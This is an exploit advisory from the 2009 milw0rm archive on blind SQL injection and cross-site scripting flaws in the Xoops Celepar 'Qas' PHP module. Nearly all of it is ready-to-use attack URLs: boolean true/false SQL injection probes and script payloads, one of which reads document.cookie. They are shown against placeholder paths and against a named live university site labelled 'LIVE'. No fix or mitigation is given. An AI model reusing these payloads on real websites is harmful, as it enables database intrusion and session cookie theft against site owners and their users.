62 lines
No EOL
3.1 KiB
Text
62 lines
No EOL
3.1 KiB
Text
###########################################################################
|
|
#-----------------------------I AM MUSLIM !!------------------------------#
|
|
###########################################################################
|
|
|
|
==============================================================================
|
|
_ _ _ _ _ _
|
|
/ \ | | | | / \ | | | |
|
|
/ _ \ | | | | / _ \ | |_| |
|
|
/ ___ \ | |___ | |___ / ___ \ | _ |
|
|
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|
|
|
|
|
|
|
==============================================================================
|
|
[»] [!] Coder - Developer HTML / CSS / PHP / Vb6 . [!]
|
|
==============================================================================
|
|
[»] Xoops Celepar Module Qas (bSQL/XSS) Multiple Remote Vulnerabilities
|
|
==============================================================================
|
|
|
|
[»] Script: [ Xoops Celepar Module Qas ]
|
|
[»] Language: [ PHP ]
|
|
[»] Download: [ http://www.xoops.pr.gov.br/uploads/core/xoopscelepar.tar.gz ]
|
|
[»] Founder: [ Moudi <m0udi@9.cn> ]
|
|
[»] Thanks to: [ MiZoZ , ZuKa , str0ke , 599em Man , Security-Shell ...]
|
|
[»] Team: [ EvilWay ]
|
|
[»] Dork: [ OFF ]
|
|
[»] Price: [ FREE ]
|
|
[»] Site : [ https://security-shell.ws/forum.php ]
|
|
|
|
###########################################################################
|
|
|
|
===[ Exploit + LIVE : BLIND SQL INJECTION vulnerability ]===
|
|
|
|
[»] http://www.site.com/patch/categoria.php?cod_categoria=[BLIND]
|
|
[»] http://www.site.com/patch/imprimir.php?codigo=[BLIND]
|
|
[»] http://www.site.com/patch/aviso.php?codigo=[BLIND]
|
|
|
|
[»] http://www.dce.uem.br/modules/qas/categoria.php?cod_categoria=1 and 1=1 <= TRUE
|
|
[»] http://www.dce.uem.br/modules/qas/categoria.php?cod_categoria=1 and 1=2 <= FALSE
|
|
|
|
[»] http://www.dce.uem.br/modules/qas/imprimir.php?codigo=1 and 1=1 <= TRUE
|
|
[»] http://www.dce.uem.br/modules/qas/imprimir.php?codigo=1 and 1=2 <= FALSE
|
|
|
|
[»] http://www.dce.uem.br/modules/qas/aviso.php?codigo=1 and 1=1 <= TRUE
|
|
[»] http://www.dce.uem.br/modules/qas/aviso.php?codigo=1 and 1=2 <= FALSE
|
|
|
|
===[ Exploit XSS + LIVE : vulnerability ]===
|
|
|
|
[»] http://www.site.com/patch/categoria.php?cod_categoria=[XSS]
|
|
[»] http://www.site.com/patch/index.php?opcao=[XSS]
|
|
[»] http://www.site.com/patch/categoria.php/[XSS]
|
|
[»] http://www.site.com/patch/index.php/[XSS]
|
|
|
|
[»] http://www.dce.uem.br/modules/qas/categoria.php?cod_categoria="><script>alert(document.cookie);</script>
|
|
[»] http://www.dce.uem.br/modules/qas/index.php?opcao=1>'><ScRiPt %0A%0D>alert(439286918587)%3B</ScRiPt>
|
|
[»] http://www.dce.uem.br/modules/qas/categoria.php/>'><ScRiPt>alert(665068655391)</ScRiPt>
|
|
[»] http://www.dce.uem.br/modules/qas/index.php/>'><ScRiPt>alert(657988605523)</ScRiPt>
|
|
|
|
Author: Moudi
|
|
|
|
###########################################################################
|
|
|
|
# milw0rm.com [2009-07-27] |